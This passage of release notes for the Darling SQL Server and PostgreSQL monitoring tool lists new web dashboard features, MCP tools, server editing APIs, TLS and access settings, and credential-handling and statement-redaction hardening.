+- **Web Top Queries shows the desktop grid's columns** ([#5169]) - the server page's Top Queries grid now carries the desktop's 45 columns in six toggle groups (times, I/O and rows, extremes, memory grants, parallelism, hashes and handles), with the core columns on by default. `get_top_queries_by_cpu` gains an optional `detail=full` that adds the grant, thread, extreme, time, CLR and plan-generation fields.
+- **CPU scheduler, memory clerk and plan cache trend charts on the web server page** ([#5161]) - The CPU tab charts runnable, blocked and queued tasks; the Memory tab charts memory clerks (with a clerk selector) and plan cache size, matching the desktop.
+- **Per-column filters on the web grids** ([#5183]) - each column header opens a filter box that matches the text you see; filters combine, show "Showing N of M rows", survive the 60 s refresh, and Copy all and Export CSV carry only the filtered rows.
+- **Slow reads are recorded with their arguments, source and per-statement times** ([#5163]) - a read that takes 5 seconds or more, or ends in a timeout, error or limit, is stored (30 days, newest 10,000; argument strings are never stored beyond short scalars and secret keys are redacted) and read back with the new `get_slow_reads` tool and a web view. Needs store schema V162.
+- **Web Top Procedures shows the desktop grid's columns** ([#5186]) - the server page's Top Procedures grid now carries the desktop's columns in three toggle groups (times, I/O and spills, extremes), with the core columns on by default. `get_top_procedures_by_cpu` gains an optional `detail=full` that adds the times, average spills and read/write/spill extremes.
+- **Web dashboard: favourites, acknowledgeable alert badges, severity colours and a collapsible sidebar** ([#5196]) - servers can be starred and sort first, each server shows an alert-count badge that a click acknowledges until a newer alert arrives, the three severity colours are choosable, and the sidebar can be collapsed. All of it is kept per browser in local storage.
+- **Tempdb and file I/O trends over MCP** ([#5187]) - `get_server_trend` now also returns the tempdb per-file I/O latency, the tempdb allocated size and the per-file I/O throughput trends the desktop charts draw, with a `names` filter for the per-file ones.
+- **Latch, spinlock and session stats trend charts on the web server page** ([#5189]) - The Wait Stats tab charts latch classes and spinlocks, with a selector for which to show, and the Activity tab charts session counts over time, matching the desktop.
+- **The Darling store keeps an hourly history of its own `pg_stat_statements` deltas** ([#5203]) - migration V163 adds `collect.store_statement_history`: once an hour the service records, for the store's own statements, the change in calls, time, rows and blocks since the last snapshot. The 100 statements that spent the most time each hour are kept for 90 days, and the history survives service and store restarts and statistics resets.
+- **Add monitored servers from the web dashboard's API** ([#5167]) - `POST /api/servers` adds servers through the same checks and connection test as the MCP `add_servers` tool, for seats that can edit only (the shared token or an OIDC admin; a read-only seat gets 403): at most 20 servers per request, one add at a time, and the password is never echoed or logged. The web role gains INSERT on the monitored-server list, and still cannot read the stored password. Re-run `provision-roles.sql` on a bring-your-own store.
+- **Silence This Server on the web fleet page** ([#5221]) - a seat that can edit gets a Silence / Unsilence button on each server card that writes or removes the whole-server mute rule, the same one the desktop writes.
+- **`get_store_query_history` reads the Darling store's own hourly statement history** ([#5217]) - the top statements over a window by time spent, or one statement's hourly series with its reset and restart flags, with a capture summary so a missing hour reads as not captured.
+- **A diagnostics bundle for bug reports** ([#5218]) - `--diagnostics-bundle <path>` writes one JSON file with the store's state, collection health, slow reads, statement history and the recent service log, with server, host, database and login names and IP addresses replaced by aliases and credentials removed. It checks the finished file for every name it knows and writes nothing if one remains. The bug report template now asks for it.
+- **The web Collection Health tab opens a collector's run history** ([#5258]) - Click a row in the Collectors panel and the Collection Log below shows that collector's runs over the last 7 days, as the desktop viewer does; a chip clears the choice.
+- **The web FinOps storage growth view covers 7, 30 or 90 days** ([#5264]) - A window choice on the objects level, as in the desktop viewer; `get_finops`'s storage growth view now accepts whole days from 7 to 90 through `hours_back`, returning at most 12 objects for windows over 30 days to stay within the MCP response budget.
+- **Hide or isolate a series from any web chart legend** ([#5265]) - Click a legend entry to hide or show a series, and double-click it to show only that one. Enter or Space on a focused entry does what a click does. Show all brings every hidden series back. On a Custom Views chart whose entries also drill into a group, the label drills by click, Enter or Space. Only the swatch beside it hides, shows or isolates, and it has a larger click area. The axis rescales to what is visible, and the choice survives refreshes for that server and tab.
+- **The web Alert History shows an alert's advice and fix script** ([#5269]) - Opening an analysis alert now shows the advice and the T-SQL the desktop's alert detail shows, with a Copy button. It is fetched once, when the alert is first opened. The MCP `get_alert_history` answer is unchanged, and the apply payload is never sent to the web.
+- **PostgreSQL captured plans readable on the web** ([#5273]) - the Captured Plans grid has a Plan button that opens the row's stored plan JSON, pretty-printed, with Copy, Download and a summary line.
+- **Deadlock graph in the Darling web** ([#5275]) - the Blocking tab's Deadlock Graphs grid now draws each deadlock as an SVG of its processes and waits-for edges, with lock modes and a click-through to each statement.
+- **edit_server MCP tool** ([#5283]) - An MCP client can now change a monitored server's name, address, database, authentication, TLS settings or monthly cost in place. The server keeps its id, tags and history. A change to how a SQL or service-principal server is reached must carry the password again; a name or cost change, and a Windows or managed-identity server, need none. A change to how a server is reached is tested before it is saved. A port-only change now also makes the service reconnect.
+- **Plan buttons on the web Active Queries, Query Store and Top Procedures grids** ([#5260]) - Each grid gets a Plan button, and Active Queries also gets a Live plan button. A click opens the row's stored plan in the web plan viewer. The plan is read on click through three new read tools: get_active_query_plan_xml, get_query_store_plan_xml and get_procedure_plan_xml. get_active_queries rows now carry request_id and, when true, has_query_plan and has_live_query_plan. Plan columns stay out of the column filter and Copy row / Copy all. That now also holds for the existing Plan column on Top Queries, High Impact and Expensive Queries, which was already out of sorting and CSV.
+- **The web Job History page says when SQL Agent is stopped** ([#5278]) - The page and the MCP `get_job_history` answer now carry each server's SQL Agent state as of the window's end (the newest snapshot at or before the `as_of` asked for, or now): running, stopped, no Agent service, or unknown when that snapshot is older than the Agent Not Running alert's window. For the whole fleet, the answer counts the running Agents and names the stopped ones.
+- **Web charts can jump to the queries, blocking or deadlocks at a point in time** ([#5286]) - The web viewer's server-tab line charts had no way to go from a spike to what was running. Right-click a point on a chart's plot and choose its "at This Time" item, as on the desktop's Performance Trends charts: Show Blocking at This Time on the Blocking Events, Lock Waits and Blocking Severity charts, Show Deadlocks at This Time on the Deadlocks and Deadlock Severity charts, and Show Active Queries at This Time on the other server-tab line charts. The page sets a one-hour custom range around the nearest drawn point (an hour that would end in the future is moved back to end now), shows the new range in the range picker, opens the Queries or Blocking tab and scrolls to the matching grid. The items appear only on a right-click on the plot itself, not on the legend, the status line or the chart menu button, and the PostgreSQL Aurora CPU chart has none.
+- **MCP can serve HTTPS, and both listeners take a list of allowed ranges** ([#5295]) - Add a `tls` block to `mcp.network`, the same block `web.network.tls` uses (a PKCS#12 bundle or a PEM pair). MCP's network listener then serves HTTPS only, and both listeners accept TLS 1.2 or 1.3 only. A bad or expired certificate keeps that listener loopback-only and logs a Critical line, and the loopback listener still requires the token. A certificate that cannot be loaded now raises a Critical self-alert. So does a refused or expired one when a start fails. That alert stays open until a usable certificate loads or the listener is stopped or disabled. A new "MCP TLS Certificate Expiring" self-alert warns 30 days before the certificate expires. A `tls` block that sets none of `pfxPath`, `certPath` or `keyPath` is refused instead of serving plain HTTP. The service warns at start about a plaintext `pfxPassword`, and on Windows about a key file that ordinary users can read. Set `mcp.network.hostName` so clients can connect by the name on the certificate. A name with a malformed punycode label is ignored with a warning, and an upper-case punycode name is accepted. MCP exposed without TLS now logs a warning at every start. `allowFrom` on `mcp.network` and `web.network` now takes one CIDR or a list, and `--configure-firewall` scopes each rule to exactly those ranges. An `allowFrom` entry with a zero-padded, hex or short IPv4 address (for example `192.168.010.0/24` or `10/8`) or an IPv6 zone index is now refused, with the reason logged, instead of being read as a different range. On MCP an address outside `allowFrom` gets 403 before the token is checked. Both listeners now ignore the forwarded-headers switch and any `Kestrel:Endpoints` entries from appsettings or the environment. darling.json now names each unknown key under `web.network`, `mcp.network`, their `tls` blocks and `web.network.oidc` in a start-up warning, so a mistyped key such as `ssl` for `tls` is visible. `--diagnostics-bundle` now aliases `mcp.network.hostName`, and a host name that starts with `mcp`, `web`, `dashboard` or `proxy` no longer turns those words in the service log into `host-N`. With none of these settings, both listeners work as before. The `--configure-network` web login hint prints https when `web.network.tls` is set. To keep a rollback possible, write a list as one comma string, for example `"192.0.2.0/24,198.51.100.7/32"`. Older versions refuse to start on the array form. A `web.publicBaseUrl` written in punycode is no longer refused for its own address. The `add_servers` tool description now says MCP can serve HTTPS itself.
+- **The web Query Store grid can show a plan's history over time** ([#5300]) - The Query Store grid shows one row per plan with the window's totals, so it could not show how a plan's cost moved, or how two plans of one query compared, and the web had nothing like the desktop apps' Query Store history window. Query Store grid rows now have a History button that opens a panel under that row only: a chart of average duration over time with one line per plan, and a table of each plan's executions, average and total duration and CPU, first and last seen, and whether it is forced, with a Plan button that opens that plan's stored plan in its own cell. The chart has one value per plan and moment, with the repeated stored copies of a still-open interval collapsed to the latest and Regular, Aborted and replica rows combined, and keeps the newest 150 points of the listed plans; the table keeps the 20 plans with the most total duration; the panel says when either was cut. For a window older than raw retention the panel reads the same interval table the grid reads, and when stored history starts later than the window asked for, even an empty panel says where it starts. The Darling MCP server gains a store-only get_query_store_query_history tool (database_name and query_id from get_query_store_top, plus optional server_name, hours_back and as_of) that returns the same data; Lite's MCP server does not have it.
+- **The web's Top Queries and Top Procedures can rank by duration, reads or executions, and Top Queries no longer comes back short** ([#5299]) - Low-CPU queries never showed. Both lists now have a Rank by selector: CPU by default, or duration, reads or executions. Reads come from raw rows, or from the hourly reads rollups once those reach the start of the window; a window neither covers shows a partial-window notice. When WAITFOR statements fill a page, the web, MCP, desktop viewer and Lite fetch more candidates for Top Queries and Query Store top lists. Top Queries finds every ranked row's text in one lookup, so a seven-day read without TimescaleDB is much faster. Groups with a NULL database or hash now get their text, and the MCP tools still rank by CPU.
+- **The web viewer shows the queries that waited on a wait type** ([#5322]) - The web had no path from a wait spike to its queries. The desktop viewers do this from the Wait Stats chart. Now a right-click on the web Wait Stats chart opens Active Queries filtered to the wait drawn nearest the click, at that time. A click on a wait in the Wait Stats, Waiting Tasks or Significant Waits grid does the same: a row with a time opens the hour around that time, and a Wait Stats row keeps the range you have. Active Queries then names the wait above the grid, reads up to 500 rows, and has a "Show all active queries" button to clear it. Query Store's QDS_ waits are not linked. The `get_active_queries` MCP tool in Darling and Lite takes a new `wait_type` filter.
+- **Edit a monitored server from the web API** ([#5301]) - `PATCH /api/servers/{id}` changes a server's name, address, database, authentication, TLS settings or monthly cost in place. The server keeps its id, tags and history. The edit carries an optimistic `modified_at` token, so a stale edit gets a 409 with the current values. A connection change is tested before it is saved. `GET /api/admin/servers/{id}` returns the editable non-secret values to an admin sign-in, and a read-only sign-in gets 403. A web or MCP edit that changes how a SQL or service-principal server connects always asks for the password again; a name or cost change, and a Windows or managed-identity server, need none. That covers the host, port, database, read-only intent, authentication mode, username, encryption and certificate settings, and multi-subnet failover. The stored password is never reused, not by the connection test and not by the save. The edit is saved by a database function, `config.edit_monitored_server`, that the managed role setup creates for the viewer and mcp roles. The viewer role holds no UPDATE on the monitored servers table. If you manage roles yourself, re-run `Darling/tools/provision-roles.sql` after upgrading. Until you do, a web or MCP edit answers an error that tells you to re-run it. The web add and edit routes now share one in-flight slot. An add can get a 429 while an edit runs, and the 429 text now says "add or edit". Every server add or edit re-checks the address under one store lock, from the web, MCP or the desktop viewer. So does the startup seed. An add or edit also checks the database the connection test actually reached, so two servers cannot claim the same address. An MCP or web add that loses that race is reported as a duplicate. A desktop Add/Edit dialog edit that loses it shows a plain "Already monitored" message instead of "Error saving server". The desktop viewer's server edit asks for the password again when the host or port changes. It also asks when the auth mode switches and the stored secret is kept. Its dialog no longer pre-fills the stored password. A stored `env:` or `file:` password reference that names one of the service's own configuration files or secrets is now refused when it resolves. That one server then fails to connect with a clear message. A store row's reference resolves only when darling.json declares it for that server at that address. The MCP `edit_server` conflict answer's `current` now also includes `engine`.
+- **The web's Blocking and Deadlocks grids open each row's stored plans** ([#5298]) - Darling stores plans with blocked process reports and deadlocks. The desktop viewer opened them, but the web did not. The Blocking grid now shows a Blocked plan and a Blocking plan button. The Deadlocks grid shows a Victim plan button. A button shows only on rows that have a stored plan. Plans are captured only while they are still in the plan cache, so many rows have none. Two new MCP tools, get_blocking_plan_xml and get_deadlock_plan_xml, give the same plans to agents. Both take an optional database_name. The web buttons send the row's database. So two databases on one server that share a session pair or a victim never show each other's plan. A deadlock plan read that names no victim refuses to pick a plan. It refuses when the deadlocks sharing its times name different victims. The plan panel shows that message. The get_blocking and get_deadlocks rows gain has_blocked_plan, has_blocking_plan and has_victim_plan flags, present only when true.
+- **The web plan panel has a Repro script button, and MCP clients can fetch the same script** ([#5341]) - from a query's stored text, and its stored plan when one is kept, Darling's web viewer and the new `get_query_repro_script` tool now build the same repro script the desktop Viewer builds, for a query_hash, Query Store or active-snapshot query. It reads only the central store: nothing connects to the monitored server and nothing runs. A procedure has no stored query text, so it gets no button.
+- **The web server page can filter to several databases** ([#5314]) - A "Databases" button beside the range picker lists the databases collected for the server, and the choice is kept per browser and per server. Active Queries, Top Queries by CPU, Top Procedures, Query Store top, Query Store regressions and the query heatmap show only the chosen databases. While a filter is on, each panel heading has a chip that says which databases the panel shows, that it shows all databases, or that its data is server-wide. A new read route, `GET /api/server-databases`, lists the databases, and the desktop Excluded Databases picker shares its SQL. That read is about 17 times faster on a server with 500 databases and 90 days of history. The list stops at 5,000 databases and says so, and its search box then asks the service, so any database can be found.
+- **A repeated web query key reads as its first value** ([#5314]) - A key such as `?server=A&server=B` used to read as `A,B` and matched nothing. It now reads as the first value. The delete confirm flag, the access token and the sign-in keys refuse a repeated key. `get_active_queries` no longer trims `database_name`.
+- **A blank database_name means all databases** ([#5314]) - `get_top_queries_by_cpu`, `get_top_procedures_by_cpu` and `get_query_store_top` now read a blank `database_name` as all databases. A blank name used to match nothing. On the web, an empty `?database_name=` is now refused with a 400.
+- **The web Admin Servers grid can edit a configured server** ([#5356]) - an Edit button on each row opens a form filled from the server's current settings. Save sends only the fields you changed, says whether the connection will be tested first, and locks the buttons while it runs. If someone else changed the server meanwhile, the form shows what changed and offers Reapply (keep my changes on the new values) or Reload.
+- **The Darling viewer's Overview now has a search box for server name or tag** ([#5359]) - Unlike Lite's, the viewer's Overview had no way to narrow its cards. A "Search:" box beside the sort selector now filters them by server name or tag (type "prod" to see every server tagged Production). It combines with "Needs attention only", and clearing it shows every card again. A search that matches nothing now says "No server matches the search." instead of showing a blank grid, and Lite shows the same sentence.
+- **A SQL login password, the SMTP password, webhook URLs, the PagerDuty key and generic webhook headers can now be saved and used on Linux** ([#5387]) - Only Windows protection could keep these before, so a Linux service did not store them. The service now keeps a key pair and publishes its public half. The Viewer, web admin, MCP tools and `--add-server` seal each value to it, and each saved value works only for the connection it was saved for. Values saved the old Windows way keep working. `--reset-password-key` makes a new key. Update older Viewers along with the service.
+- **The Darling service now says when it was not collecting before a start** ([#5454]) - at start it compares the newest earlier `collection_log` time with its start time and, when the gap is 15 minutes or more, raises one "Collection Gap At Start" Warning naming the window.
+- **PagerDuty can keep an outage and its recovery in one incident, and close it on recovery** ([#5368]) - one opt-in setting, off by default, for Lite and Darling. With it on, Server Unreachable and Server Restored (and AG Replica Disconnected and Reconnected, per replica) share one PagerDuty incident, and the recovery alert resolves that incident. Darling store schema V166 adds the setting. Contributed by @ianwalkeruk.
+- **The Darling service pings a dead-man's-switch URL while it is collecting, so an outside check alerts when it stops or stops collecting** ([#5460]) - A new file-only `heartbeat` block in darling.json (off by default) sends an HTTP GET every `intervalSeconds` (60 to 3600, default 300) while an enabled server has collected within 15 minutes, or no server is enabled. The URL can be a plain URL or an `env:` or `file:` reference, read again on every ping, and is never logged. The ping is skipped when collection is stale, ahead of the clock by more than 5 minutes, or the store cannot be read, and a failed ping logs one warning, then at most one per hour.
+- **The database filter reaches the configuration, config change, severe error and default trace reads** ([#5464]) - get_database_config, get_database_scoped_config, get_query_store_health, get_database_config_changes, get_health_parser_severe_errors and get_default_trace_events follow the chosen databases on the web page, and get_database_config_changes, get_health_parser_severe_errors and get_default_trace_events take an optional `database_name` in Darling and Lite. A filtered empty answer says "for the database X" or "for the chosen databases", and the three new-parameter tools echo `database_name` on every answer (null for all databases). Severe errors are matched on the name each error's database id had at the time of the error.
+- **A daily audit of the store's retained history raises one "Collection Gaps In History" warning** ([#5461]) - once a day, after 03:00 UTC, the service compares each hour of the previous UTC day with the median of the 7 days before. The seven audited hourly rollups are judged on how many servers are present. The perfmon baseline is also judged on how many collection passes landed. Only servers enabled now are counted. An hour under half of usual is flagged, flagged hours merge into ranges, and the warning names them. A source that cannot be read or has not caught up is retried on later ticks. If the audit gives up on it, the alert names it and still lists the hours it flagged. A change to the perfmon collection schedule can trigger the warning for a few days.
+- **Top Queries and Top Procedures can rank by reads from new hourly rollups** ([#5472]) - The old hourly rollups kept no logical reads. A reads ranking past the raw tier's roughly 90 hours had nothing to read. The hourly CPU, duration and executions lists showed no reads either. The store now creates query_stats_io_hourly and procedure_stats_io_hourly on the next start. Each copies its matching interval rollup and adds sums of logical reads, physical reads and logical writes. When one reaches the start of the window, the Darling web app, the MCP tools and the Darling viewer rank every list from it. The rows then show reads, physical reads and writes. The web cards no longer print a fixed sentence that reads come from the raw collections. The MCP precision note now names the relation that answered. On upgrade the new rollups fill from the raw data still kept. A 7-day window stays partial for about 6 days. Run --backfill-rollups to fill them down to raw's oldest row at once and cut that to about 3 days. On an hourly window the viewer banner and the MCP note name the window edges. The start edge is per server, so a server added later shows its own first hourly bucket. The viewer banner does not call reads and writes blank when the io rollup answered. On an hourly window it no longer says the grid shows the full window. An empty hourly grid names no start, including a window that ends exactly at a server's only bucket. Until a rollup reaches the window, a reads ranking uses raw, or the rollup that reaches further back, and says which one answered.
+- **Each PostgreSQL server in Darling can use its own AWS role** ([#5468]) - a PostgreSQL server on Amazon RDS or Aurora can now name the AWS role Darling assumes for it. A server's darling.json entry takes `awsRoleArn` and an optional `awsExternalId`. The web Servers page, the MCP `add_servers` and `edit_server` tools and `--add-server` take `aws_role_arn` and an optional `aws_external_id`, and the desktop viewer's Add and Edit server dialog has matching fields. Darling assumes that role for the server's AWS calls (the host check, CPU and host memory from Performance Insights, and the log reads behind plan capture, deadlocks and log events), so a cluster in another AWS account needs no process-wide AWS profile. A server with no role uses the process's own credentials as before. The web, MCP, desktop viewer and `--add-server` can set only roles listed in the new `allowedAwsRoles` setting in darling.json (an exact ARN, or a whole account id: a bare 12-digit id is an account in the aws partition, and aws-cn:123456789012 or aws-us-gov:123456789012 names the others), plus the roles darling.json's own servers name. A role that is not allowed, is in the wrong partition or is refused by AWS shows on that server's collection health as PERMISSIONS with a message naming the role and whether an external ID is set. A host with no AWS credentials, or an STS fault, shows as ERROR with a fixed sentence plus the SDK exception type and AWS error code. The external ID is never returned or written to a log. A store schema step adds the role and external ID columns to the server registry.
+- **Filter web grid columns by number, text operator or empty cell** ([#5255]) - a column filter can now match greater/less than, equals, not equals, starts with, ends with, is empty and is not empty, comparing the real numbers rather than the formatted text; plain typing still does a contains match.
+- **Web sidebar search and tag grouping** ([#5259]) - the web sidebar's server list has a search box (name, server name or tag) and a Group by tag toggle with Favourites first, the tag tree, then Untagged. The search term lasts across refreshes; the toggle and collapsed groups are remembered per browser.
+- **Lite has a DuckDB memory limit setting** ([#5553]) - Settings, Dashboard Defaults, "DuckDB memory limit" sets the main DuckDB connection's memory limit (default 2 GB, range 1 GB to 80% of memory, applied after a restart). The thread count follows it as the smaller of 8, the core count and the limit divided by 256 MB, and out-of-memory errors name the setting and its current value, and so does the log.
+- **Column filters list a text column's values to tick, like Excel, and stay set across refreshes and restarts** ([#5577]) - A text column's filter lists its values, with a search box, Select All and "(Blanks)", in Lite, the Darling viewer and the web dashboard. Unticking values hides only them, so a new login after a refresh still shows, and ticking values shows only those. The filter stays set across refreshes, tab switches and restarts, per server, grid and column. Lite and the viewer keep it in a file next to their settings, and the web dashboard keeps it in the browser. Number and time columns keep the text match only. Query text, plan, XML, message, detail, description, reason, error and script columns also keep the text match only, and that match lasts for the session.
+- **One time range picker for Lite, the Darling Viewer and the Darling web pages** ([#5570]) - It has more presets, calendar periods (today, this week, last month and so on) and typed ranges such as `last 3 days`, `Oct 1 - Oct 2` or `since 9am`. All three front ends read a typed range the same way. A range they cannot read is refused with a plain reason, never quietly changed. On the web, each server tab offers only the periods its data reaches. The query, procedure and Query Store duration trends on the web and in MCP can now reach back 90 days.
+
+### Changed
+
+- **Darling web sends browser security headers, the actual-plan confirmation says where the query came from, and connection-test errors carry less detail, and a configured token gates the loopback endpoints** ([#5636]) - the web host now sets Content-Security-Policy, X-Frame-Options, X-Content-Type-Options and Referrer-Policy on every response; the confirmation shown before a captured query is re-run for its actual plan (Darling Viewer, Lite and the history windows) now says the text was captured from the monitored server and any user of it may have written it; a failed connection test answered to an MCP or web client now says "Could not connect to <host>,<port>. The service log has the details." and the driver's text goes to the service log only. A token set in mcp.network or web.network now gates the loopback-only MCP and web listeners too (local MCP clients send the bearer token, local browsers use the same token-to-cookie sign-in), with no change for an install that has no token configured; a configured token that cannot be decrypted stops that listener from starting. The MCP endpoint also answers 415 to a POST whose Content-Type is not application/json. Lite's MCP server also answers 415 to a POST whose Content-Type is not application/json. The actual-plan lookup of a wait-drill-down snapshot also requires the row to be in the request's database.
+- **Microsoft.Data.SqlClient moves to 7.1.1** ([#4963]) - It fixes an error on a zero-valued decimal parameter whose precision equals its scale, pooled connections handed out with expired access tokens, and connection opens that fail when a pool clear races them; Velopack moves to 1.2.161, which fixes its Windows architecture check, and two AWS SDK packages take service-model updates.
+- **Fleet Custom Views Query Store panels read the store's chunk floors once** ([#5001]) - a fleet panel's table-eligibility check reads the store-wide floors at most once instead of once per server; the per-server checks are unchanged.
+- **Web System Events grids show the desktop's columns** ([#5118]) - Memory Conditions (32 columns), Memory Node OOM (28), Default Trace (14), Memory Broker and the other parsed-row grids now show every column the desktop Viewer shows, in the same order.
+- **`get_read_latency` counts reads that fell back to raw** ([#5136]) - Each route now reports `fallbacks` and `gate_failures`, and the Query Store source decision and its fallbacks reach the service log on the MCP surface instead of being dropped. Part of #5097.
+- **get_query_store_top answers long windows from a daily summary** ([#5168]) - Whole UTC days inside a long window are now read from a per-day summary instead of every interval row, so long windows are much faster on large stores. When the summary was used, the answer carries `approximate: true`, an `approximation_note` and the `summary_days` it covered, and the web Query Store grid shows the note: a row changed after its day was summarized can be missed or, for about a day, counted twice, so totals and the ranking are close, not exact.
+- **Web Query Store Regressions, Long Query Completions and Plan Corrections grids put their wide columns behind column toggles** ([#5195]) - The extra columns are off until you turn on their group, and the choice survives the page refresh.
+- **Web File I/O tab charts write latency, and the Version Store trend spans 7 days** ([#5198]) - the server page's File I/O latency panel now draws a write-latency chart beside the read-latency chart, and the FinOps Version Store size trend covers the last 7 days instead of 24 hours, as the desktop viewer does.
+- **The web PostgreSQL Overview and Vacuum tiles say where their data starts** ([#5193]) - Freeze headroom, xmin horizon, autovacuum backlog, replication slot and checkpoint/WAL panels now show the partial-window note when the store's history for a server starts after the window's start. Tiles that show only the newest reading draw no note. Part of #4966.
+- **The composed-panel table, the alert-rule test result and the Fleet Sweeps tables get the main grid's tools** ([#5188]) - those tables in the web dashboard now sort, filter by column, copy and export to CSV like the main grids, through one shared helper rather than four copies.
+- **query_stats fetches plan XML only for plans the store doesn't already hold** ([#5209]) - Each query_stats run used to render and ship the XML for all of its ~200 rows every minute, though almost all of those plans were already stored. It now fetches plans in a second, small query only for plan identities the service hasn't stored yet, and rows for stored plans point at the stored copy. Plans over the capture cap are measured once per identity instead of every minute. On large servers this cuts the plan XML a run ships from megabytes to kilobytes, and the long result-drain runs that delayed each server's other collectors. Set `queryStatsDeferredPlanFetch` to false in darling.json to restore the old behaviour. Azure SQL Database keeps inline capture.
+- **The web Manage Servers grid shows disabled servers, auth mode, monthly cost and added time** ([#5262]) - the Admin page's Servers tab now lists every configured server, enabled or disabled (disabled rows are grey), with Auth, Status, Monthly Cost and Added columns beside the engine, version and freshness it had. It reads a new web-only route, `GET /api/admin/servers`; `list_servers` still returns enabled servers only.
+- **procedure_stats can skip re-rendering plans the store already holds (with a shadow mode)** ([#5272]) - New `procedureStatsDeferredPlanFetch` setting in darling.json (`on`, `shadow` or `off`; `on` by default, see [#5502]). `on` stops re-rendering and re-sending module plans the store already holds, which were about 94% of the procedure_stats plan bytes on one large store. `shadow` changes nothing that is stored and counts, in each run's collection-log note, how often the plan identity would have been right (`deferred_would_hit`, `deferred_false_hit`), so the plan identity can be checked on a store before relying on `on`. Azure SQL Database stays `off`.
+- **PostgreSQL servers list the collectors that are not collected on their engine** ([#5287]) - `get_collection_health` and the web PG Overview Collectors panel now show each PostgreSQL collector that this engine kind can never run (an Aurora-only reader on stock PostgreSQL, the sampler on Aurora), as a `not_collected` row with the reason, instead of leaving it out. Output only: the rows feed no sweep-pressure, count or band.
+- **The diagnostics bundle's store statement history is now the ranked answer `get_store_query_history` gives** ([#5294]) - the `history` member of the `store_statements` section used to hold up to 500 captures and up to 1,500 hourly rows for the 25 costliest statements, read straight from the store's history tables. It now holds the answer the MCP tool gives for the bundle's `--hours`: the 25 rows that spent the most time, one row per role and statement (a statement that two roles ran takes two of the 25 rows, so the member can name fewer than 25 distinct statements), each with its calls, total and mean time, the mean over the newest quarter of its hours against the earlier hours, its block counts and its statement text, plus a summary of the captures in the window. The per-hour rows and the per-capture rows are no longer in the bundle. Statement text is still aliased before it is cut, and a store without the history tables still reads `not_present`. A failed history or cumulative read marks the `store_statements` section `error` in the manifest and in the section itself. The verb then exits as a partial bundle. The section keeps its other members, and `history` carries the tool's own error instead of a bare error. The statement text in `get_store_query_history`, `get_store_query_stats` and the bundle withholds what the shared sensitive-statement filter names. That holds even on a store whose reader function is older than the filter. Withheld text reads as the withheld marker.
+- **PostgreSQL database growth findings now say their bars are measured** ([#5327]) - The growth trend finding (PG_DATABASE_GROWTH) and its advice now call its six lines measured, and the finding carries threshold_lineage = 1. The lines are 1 GiB and 10 percent for concerning, 10 GiB and 25 percent for critical, a 14-day lookback and a three-sample minimum. A 14-day read of 393 databases on 50 clusters confirmed all six as written, so no threshold value or grade changed.
+- **The statement filter withholds more administrative statement forms** ([#5324]) - PostgreSQL statement text that matches more administrative statement forms now reads as `-- statement text withheld (#4348)`. Collection health also shows the hourly statement text fetch as `pg_statement_text`, so a failed or timed-out fetch appears there.
+- **Darling's MCP tool answers go through the statement filter** ([#5342]) - Every Darling MCP tool result, error results included, now has its statement text and parameter values checked before it is sent. This holds with or without GCF output. The plan analysis tools also check each plan before they analyse it, in Darling and Lite. Some administrative statements, for example CREATE LOGIN or CREATE CREDENTIAL, read as '-- statement text withheld (#4348)', and so do the values and literals in that statement's plan.
+- **Adding or editing a server from the web or MCP takes the password itself** ([#5364]) - the web add and edit routes and the MCP add_servers and edit_server tools now refuse a password that starts with env: or file: and say that references are set in the configuration file. An edit that sends the password blank keeps the stored one, and a typed password replaces it. The configuration file and --add-server on the service host still take references.
+- **Alert emails and webhooks run SQL Server statement text and reports through the statement filter** ([#5360]) - alert details, attachments, the short message and analysis finding alerts are filtered before they are sent or recorded, in both apps. This includes PostgreSQL alerts, self alerts and custom alert rules, and a custom rule's name. Some administrative statements read as '-- statement text withheld (#4348)'. The rest of the alert is unchanged.
+- **Plan reuse shadow mode no longer counts a memory grant change as a false hit, and splits false hits by cause** ([#5383]) - Shadow mode counted `deferred_false_hit` whenever a cached plan's bytes differed from the render, but SQL Server's memory grant feedback rewrites the grant in the cached plan in place, which is not a new plan. A false hit now means a statement's `QueryPlanHash` changed (a `StmtCond`'s included), a statement came or went, or the shapes were never compared. Same-shape changes are counted in the new `deferred_same_shape` and do not warn. The warning names the cause, and the note splits `deferred_false_hit` into `deferred_false_hit_shape`, `deferred_false_hit_no_shape`, `deferred_false_hit_over_cap` and `deferred_false_hit_unparsed`. `on` mode and stored data are unchanged.
+- **The statement filter judges a typed variable declaration with an initial literal** ([#5369]) - `DECLARE @x nvarchar(20) = N'...'` and the PL/pgSQL `x text := '...'` form are judged the way the untyped assignment already was, for the variable names the filter already covers. The judge now builds once in the background at Lite and Darling service start, so the first alert does not wait for it.
+- **The database filter now reaches the blocking and waits reads** ([#5392]) - Darling's get_blocking, get_blocked_process_xml, get_blocking_trend, get_blocking_stats and get_waiting_tasks gain an optional database_name (get_current_waits_trend already had one). Lite's get_blocking_trend, get_blocked_process_xml, get_blocking_stats, get_blocked_process_reports and get_waiting_tasks gain the same. Each limits its read to that database before the row limit applies, and get_blocking_stats limits only the blocking series (deadlock severity stays whole). On the web viewer the server page's database filter now applies to the Blocking and Waiting Tasks panels. Deadlock Graphs keep every graph whole and hide per-process rows outside the chosen databases (a process with no database is hidden too), with a notice line under the panel. A blank or whitespace name still means all databases. A filtered empty answer reads "for the database X" or "for the chosen databases" in both apps, with status empty. get_blocking_trend and get_blocking_stats also return a source key that says which source answered: the blocked process reports, or the DMV snapshot when the filtered reports are empty.
+- **The store takes a server's password itself from the viewer, admin and MCP roles** ([#5374]) - The store refuses a password that starts with env: or file: from these roles. A trigger on the monitored-servers table refuses it. The server edit function also refuses it and writes nothing. The service, --add-server and the configuration file set references. The store also refuses a change of how a server is reached that keeps its stored password. The change covers host, port, engine, database, read-only intent, authentication, username, encryption, certificate trust and multi-subnet failover. The password must be typed again with the change. On a row that holds a remediation login, a change of how the server is reached is refused with one sentence. A change of the remediation login name is refused the same way. The sentence points to the service host, the configuration file and --add-server. The Viewer's server edit asks for the password before it saves a connection change. It shows the same sentences. The service copies a darling.json secret into a store row only when the file entry and the row agree on all connection settings. Sometimes a connection setting in darling.json differs from the registry on an entry with a password or a reference. The warning for that case now says the password from darling.json is not used until the two agree. Rows already in the table are not rewritten. A self-managed store gets the rules when the service starts, unless they are already in place. If the store cannot take them, the service logs one warning that names provision-roles.sql. A managed store whose role provisioning fails at start still gets the rules.
